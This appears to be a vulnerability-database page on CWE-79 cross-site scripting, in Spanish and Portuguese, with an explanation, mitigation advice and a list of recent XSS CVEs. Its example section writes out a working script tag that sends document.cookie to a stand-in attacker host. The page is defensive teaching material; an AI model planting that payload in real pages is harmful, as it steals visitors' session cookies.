Fallos del tipo CWE-79

30.496 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-59997MEDIUMJunos Space: Fields in the CLI Configlets are vulnerable to reflected cross-site script injectionEPSS 0.2%CVE-2025-47659MEDIUMWordPress WPBakery Visual Composer WHMCS Elements plugin <= 1.0.4.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-57875MEDIUMBUG-000164122 - Reflected XSS vulnerability in Portal for ArcGIS.EPSS 0.2%CVE-2026-82160LOWDell Wyse Management Suite, versions prior to 2609.0.0.155, contain an Improper Neutralization of Input During Web Page Generation ('Cross-sEPSS 0.2%CVE-2025-55103MEDIUMBUG-000177333 - ArcGIS Enterprise Sites has a stored Cross-site Scripting vulnerability.EPSS 0.2%CVE-2025-60000MEDIUMJunos Space: Generate Report page is vulnerable to reflected cross-site script injectionEPSS 0.2%CVE-2025-59992MEDIUMJunos Space: Secure Console page is vulnerable to reflected cross-site script injectionEPSS 0.2%CVE-2025-55341MEDIUMCross Site Scripting vulnerability in Quipux 4.0.1 through e1774ac allows anexos/anexos_nuevo.php asocImgRad.EPSS 0.2%CVE-2025-59985MEDIUMJunos Space: Purging Policy field is vulnerable to reflected cross-site script injectionEPSS 0.2%CVE-2025-58822MEDIUMWordPress WP Mail Plugin <= 1.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-24672HIGHOpen eClass is Vulnerable to Stored Cross-Site Scripting (XSS) in User Profile FieldsEPSS 0.2%CVE-2026-4334MEDIUMShariff Wrapper <= 4.6.20 - Authenticated (Contributor+) Cross-Site ScriptingEPSS 0.2%CVE-2025-57874MEDIUMBUG-000161627 - Reflected XSS vulnerability in Portal for ArcGIS.  (11.3, 11.1, 10.9.1)EPSS 0.2%CVE-2025-46542MEDIUMWordPress Xpert Tab plugin <= 1.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-27351MEDIUMWordPress Local Search SEO Contact Page plugin <= 4.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-59987MEDIUMJunos Space: The arbitrary device search field is vulnerable to reflected cross-site script injectionEPSS 0.2%CVE-2025-59986MEDIUMJunos Space: Input fields in Model Devices are vulnerable to reflected cross-site script injectionEPSS 0.2%CVE-2025-60002MEDIUMJunos Space: Template Definitions page is vulnerable to reflected cross-site script injectionEPSS 0.2%CVE-2024-48624MEDIUMIn segments\edit.php of DomainMOD below v4.12.0, the segid parameter in the GET request can be exploited to cause a reflected Cross Site ScrEPSS 0.2%CVE-2026-2583MEDIUMBlocksy <= 2.1.30 - Authenticated (Contributor+) Stored Cross-Site Scripting via `blocksy_meta` FieldsEPSS 0.2%